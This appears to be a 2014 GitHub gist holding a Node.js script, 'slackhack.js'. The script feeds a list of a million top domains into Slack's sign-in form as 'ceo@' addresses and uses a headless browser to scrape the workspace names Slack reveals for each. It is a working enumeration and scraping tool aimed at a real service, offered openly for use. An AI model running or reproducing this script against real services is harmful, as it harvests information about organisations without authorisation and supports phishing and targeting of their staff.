Skip to content

Instantly share code, notes, and snippets.

/slackhack.js Secret

Created Oct 8, 2014
Embed
What would you like to do?
'use strict';
// mkdir slackHack && cd slackHack
// wget http://s3.amazonaws.com/alexa-static/top-1m.csv.zip && unzip top-1m.csv.zip
// npm install cheerio nightmare JSONStream csv-stream concurrent-map-stream
// node slackhack.js & tail -f domains.json
var cheerio = require('cheerio');
var Nightmare = require('nightmare');
var fs = require('fs');
var JSONStream = require('JSONStream');
var csv = require('csv-stream');
var queue = require('concurrent-map-stream');
fs.createReadStream('./top-1m.csv')
.pipe(csv.createStream({
columns: ['index', 'domain']
}))
.pipe(queue(function(data, cb) {
slackHack("ceo@" + data.domain, cb);
}, 5 /* concurrency */))
.pipe(JSONStream.stringify())
.pipe(fs.createWriteStream('domains.json'));
function slackHack(email, cb) {
console.log('slack hackin', email);
new Nightmare()
.useragent('slack-nightmare')
.goto('https://slack.com/signin')
.type('.control-group input', email)
.click('.btn')
.wait()
.evaluate(function (page) {
return document.documentElement.innerHTML;
}, function (res) {
var $ = cheerio.load(res);
var groups = [];
$('a.btn-outline.small_right_margin').each(function(i, elem) {
groups[i] = $(this).text().replace(/Sign up for/ig,"");
});
var domain =email.substr((email.indexOf("@")+1));
cb(null, {domain: domain, groups: groups});
})
.run();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.